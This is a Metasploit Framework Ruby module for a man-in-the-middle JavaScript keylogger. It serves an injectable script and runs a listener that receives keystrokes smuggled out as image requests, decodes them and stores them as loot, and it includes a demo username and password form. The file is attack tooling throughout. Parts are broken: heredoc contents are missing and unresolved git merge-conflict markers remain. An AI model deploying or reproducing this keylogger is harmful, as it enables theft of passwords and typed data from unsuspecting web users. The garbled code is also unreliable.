## # This file is part of the Metasploit Framework and may be subject to # redistribution and commercial restrictions. Please see the Metasploit # Framework web site for more information on licensing and terms of use. # http://metasploit.com/framework/ ## require 'msf/core' class Metasploit3 < Msf::Auxiliary include Msf::Exploit::Remote::HttpServer::HTML def initialize(info = {}) super(update_info(info, 'Name' => 'Man-in-the-middle JavaScript Keylogger', 'Description' => %q{ <<<<<<< HEAD This modules runs a HTTP Server to serve as a remote keylog listener to capture web page keystrokes. ======= This modules runs a HTTP Server to serve as a remote keylog listener to capture web page keystrokes. >>>>>>> f45528ec68ca338a36da6c3bbc0217489596bd26 }, 'License' => MSF_LICENSE, 'Author' => ['Marcus J. Carey '], )) register_options( [ OptString.new('SRVHOST', [true, "Local HTTP Server IP Address", "#{Rex::Socket.source_address}"]), OptInt.new('SRVPORT', [true, "Local HTTP Server Port",80]), OptBool.new('DEMO', [true, "Create a Demo Keylogger Page",false]), OptString.new('URIPATH', [true, "Recommended value is \"\/\"","/"]), ], self.class) end # This is the Demo Form Page def demo html = < Metasploit JavaScript Keylogger Demonstration Form

Metasploit
Javascript Keylogger Demo

This form submits data to the Metasploit listener
at #{datastore['SRVHOST']}:#{datastore['SRVPORT']} for demonstration purposes.


Username:
Password:

Metasploit® is a registered trademark of Rapid7, Inc.

EOS return html end # This is the JavaScript Key Logger Code def keylogger code = <" @ascii_log = @ascii_log[0, @ascii_log.length - 4] elsif @ascii_log[@ascii_log.length - 5,@ascii_log.length] == "" @ascii_log = @ascii_log[0, @ascii_log.length - 5] else @ascii_log = @ascii_log[0, @ascii_log.length - 1] end end when 9 then @ascii_log += "" when 13 then @ascii_log += "" else @ascii_log += char.to_s.hex.chr end end end # Creates Metasploit shield favicon def favicon # [Red/Green/Blue/Reserved] * 256 data_rgb = "00000000c5bdb50055341100ffffff002d1803006034060" data_rgb << "044250400673807004b290500d9d9d9004d2a0500251504" data_rgb << "00"*977 data_rgb = [data_rgb].pack('H*') data_lines = "0000000000000007070000000000000000000000000007" data_lines << "07070A00000000000000000000000707070A0A0A000000" data_lines << "000000000000070707070A0A0A0A000000000000000703" data_lines << "0707070A0A0A010A00000000000707030707070A0A0A09" data_lines << "020A00000000070303070703090A0A09090A0000000007" data_lines << "0303070703090A0A09090A000000000703030705030908" data_lines << "0A09090A0000000007030307070309040609090A000000" data_lines << "0007030307030309090B09090A00000000070303030303" data_lines << "09090909090A000000000703030303070A090909090A00" data_lines << "0000000703030307070A0A0909090A0000000007070707" data_lines << "07070A0A0A0A0A0A000000000007070707070A0A0A0A0A" data_lines << "000000" data_lines = [data_lines].pack('H*') data_mask = "FE7F0000FC3F0000F81F0000F00F0000E0070000C0030000" data_mask << "C0030000C0030000C0030000C0030000C0030000C0030000" data_mask << "C0030000C0030000C0030000E0070000" data_mask = [data_mask].pack('H*') # icondir ico = "\x00\x00" # Reserved ico << "\x01\x00" # Type ico << "\x01\x00" # Count ico << "\x10" # Width ico << "\x10" # Height ico << "\x00" # ColorCount ico << "\x00" # Reserved ico << "\x00\x00" # Planes ico << "\x00\x00" # BitCount ico << "\x68\x05\x00\x00" # BytesInRes ico << "\x16\x00\x00\x00" # Image Offset # images: bmiHeader ico << "\x28\x00\x00\x00" # biSize ico << "\x10\x00\x00\x00" # biWidth ico << "\x20\x00\x00\x00" # biHeight ico << "\x01\x00" # biPlanes ico << "\x08\x00" # biBitcount ico << "\x00\x00\x00\x00" # biCompression ico << "\x00\x01\x00\x00" # biSizeImage ico << "\x00\x00\x00\x00" # XPelsPerMeter ico << "\x00\x00\x00\x00" # YPelsPerMeter ico << "\x00\x01\x00\x00" # biClrUsed ico << "\x00\x00\x00\x00" # ClrImportant # images: data ico << data_rgb ico << data_lines ico << data_mask return ico end # Creates a 1x1 empty BMP image to make the requester happy def img # fileheader bmfh "BM" + # bfType "\x42\x00\x00\x00" + # bfSize "\x00\x00" + # bfReserved1 "\x00\x00" + # bfReserved2 "\x3e\x00\x00\x00" + # bfOffBits # infoheader bmih "\x28\x00\x00\x00" + # biSize "\x01\x00\x00\x00" + # biWidth "\x01\x00\x00\x00" + # biHeight "\x01\x00" + # biPlanes "\x01\x00" + # biBitCount "\x00\x00\x00\x00" + # biCompression "\x04\x00\x00\x00" + # biSizeImage "\x00\x00\x00\x00" + # biXpelsPerMeter "\x00\x00\x00\x00" + # biYpelsPerMeter "\x00\x00\x00\x00" + # biClrUsed "\x00\x00\x00\x00" + # biClrImportant # aColors # Blue/Green/Red/Reserved "\x00\x00\x00\x00" + # aColors 0 "\xff\xff\xff\x00" + # aColors 1 # bitmapline "\x80" + # imageData "\x00\x00\x00" # padBytes end # This handles reporting to the database def cleanup super path = store_loot("javascript.keystrokes", "text/plain", @host, @loot) print_status("Stored loot at #{path}") end def current_time return Time.new.utc.strftime("[%d/%b/%Y:%H:%M:%S %Z]") end # Creates and prints timestamp def request_timestamp(cli,request) print_status("#{cli.peerhost} - #{current_time} - [HTTP GET] - #{request.uri}") end # This handles the HTTP responses for the Web server def on_request_uri(cli, request) @host = cli.peerhost # Reply with JavaScript Source if *.js is requested if request.uri =~ /\.js/ content_type = "text/plain" content = keylogger send_response(cli, content, {'Content-Type'=> content_type}) request_timestamp(cli,request) # JavaScript HTTP Image GET Request is used for sending the keystrokes over network. elsif request.uri =~ /\.bmp/ content = img content_type = "image/bmp" send_response(cli, content, {'Content-Type'=> content_type}) log = request.uri.split("\.bmp&")[1] hex_to_s(log) @loot << "#{cli.peerhost} - #{current_time} - " + @ascii_log + "\r\n" if log.length > 1 print_good("#{cli.peerhost} - #{current_time} - [KEYLOG] - #{@ascii_log}") end # Reply with Metasploit Shield Favicon elsif request.uri =~ /favicon\.ico/ content = favicon content_type = "image/icon" send_response(cli, content, {'Content-Type'=> content_type}) request_timestamp(cli,request) # Reply with Demo Page elsif request.uri =~ /metasploit/ and datastore['DEMO'] content = demo content_type = "text/html" send_response(cli, content, {'Content-Type'=> content_type}) request_timestamp(cli,request) else # Reply with 404 - Content Not Found content = "Error 404 (Not Found)!" send_response(cli, "#{content}

#{content}

", {'Content-Type' => 'text/html'}) end end def use_ssl? if datastore['SSL'] @http_mode = "https://" else @http_mode = "http://" end end def start_log @loot = "" logo = %Q{ # cowsay++ _________________________________ < metasploit javascript keylogger > --------------------------------- \\ ,__, \\ (oo)____ (__) )\\ ||--|| * ^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^ Started at #{current_time} ===================================== } logo = logo.gsub("\t\t\t","") @loot << logo end # This is the module's main runtime method def run start_log use_ssl? @ascii_log = "" @random_text = Rex::Text.rand_text_alpha(12) script_source = "#{@http_mode}#{datastore['SRVHOST']}:#{datastore['SRVPORT']}/js#{@random_text}.js" # Prints Demo Page if datastore['DEMO'] print_status("Demonstration Form URL => %grn#{@http_mode}#{datastore['SRVHOST']}:#{datastore['SRVPORT']}/metasploit%clr") end # Prints HTML Embed Code print_status(" Keylogger Code => %blu%clr") # Starts Web Server exploit end end =begin To-do: 1. Allow custom favicon 2. Allow custom demo page =end